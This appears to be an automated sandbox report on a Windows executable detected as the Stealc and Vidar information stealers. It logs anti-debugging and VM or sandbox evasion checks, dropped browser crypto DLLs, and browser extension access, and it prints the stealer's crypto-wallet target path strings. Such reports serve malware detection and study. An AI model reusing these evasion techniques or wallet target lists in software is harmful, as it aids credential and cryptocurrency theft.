Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067DB6 second address: 1067DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F55D8C2E608h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067DD8 second address: 1067DF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59BA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067DF2 second address: 1067DF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067DF7 second address: 1067E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jne 00007F55D8D59B96h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067937 second address: 1067954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop eax 0x00000009 jmp 00007F55D8C2E5FAh 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F55D8C2E5F6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067954 second address: 1067958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067958 second address: 106795E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067B0F second address: 1067B24 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F55D8D59B9Bh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067B24 second address: 1067B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076660 second address: 1076669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10768E0 second address: 1076920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jc 00007F55D8C2E5F8h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007F55D8C2E602h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c pushad 0x0000001d jnc 00007F55D8C2E5F6h 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 push edx 0x00000026 pop edx 0x00000027 popad 0x00000028 js 00007F55D8C2E5F8h 0x0000002e push eax 0x0000002f pop eax 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076F61 second address: 1076F92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59B9Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F55D8D59B9Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F55D8D59B9Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076F92 second address: 1076F98 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076F98 second address: 1076FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F55D8D59B9Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077558 second address: 1077578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 jne 00007F55D8C2E5F6h 0x0000000b pop eax 0x0000000c je 00007F55D8C2E5FCh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pushad 0x00000018 popad 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077578 second address: 1077582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F55D8D59B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077582 second address: 107759C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8C2E606h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B7B0 second address: 107B7B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00307 second address: 4D0030D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0030D second address: 4D00359 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59B9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov di, ax 0x00000010 pushfd 0x00000011 jmp 00007F55D8D59B9Ah 0x00000016 adc ecx, 56456BC8h 0x0000001c jmp 00007F55D8D59B9Bh 0x00000021 popfd 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F55D8D59BA4h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00359 second address: 4D00385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F55D8C2E601h 0x00000009 or al, FFFFFF96h 0x0000000c jmp 00007F55D8C2E601h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D003C4 second address: 4D0041B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59BA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F55D8D59B9Eh 0x0000000f push eax 0x00000010 jmp 00007F55D8D59B9Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F55D8D59BA6h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F55D8D59B9Ah 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0041B second address: 4D00421 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00421 second address: 4D00427 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00427 second address: 4D0042B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00B00 second address: 4D00B59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59B9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F55D8D59B9Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F55D8D59BA7h 0x00000019 xor ch, FFFFFFEEh 0x0000001c jmp 00007F55D8D59BA9h 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00B59 second address: 4D00B67 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00B67 second address: 4D00B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00B6B second address: 4D00B7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8C2E5FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00B7D second address: 4D00BAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59B9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F55D8D59BA6h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00BAB second address: 4D00BAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00BAF second address: 4D00BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DF1D59 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F917BB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 101F7D7 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BA4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B9DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B9DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B9E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00B9E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B9F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B9F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00BA3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B916D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B916D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B9BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B9BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00BA38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B9ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00B9ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00BA4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B9DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B9DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B91160 GetSystemInfo,ExitProcess,

0_2_00B91160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWU
Source: file.exe, 00000000.00000002.2009684418.0000000000665000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: file.exe, 00000000.00000002.2009684418.000000000061E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13466
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13478
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13518
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13463
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14653
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13482

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B945C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00B945C0

Source: C:\Users\user\Desktop\file.exe

0_2_00BA9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BA9750 mov eax, dword ptr fs:[00000030h]

0_2_00BA9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BA78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00BA78E0

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6708, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BA9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00BA9600

Source: file.exe, file.exe, 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: G|Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00BA7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BA7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00BA7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BA7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00BA7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BA7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00BA7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1689855003.0000000004B90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2009684418.000000000061E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6708, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6708, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
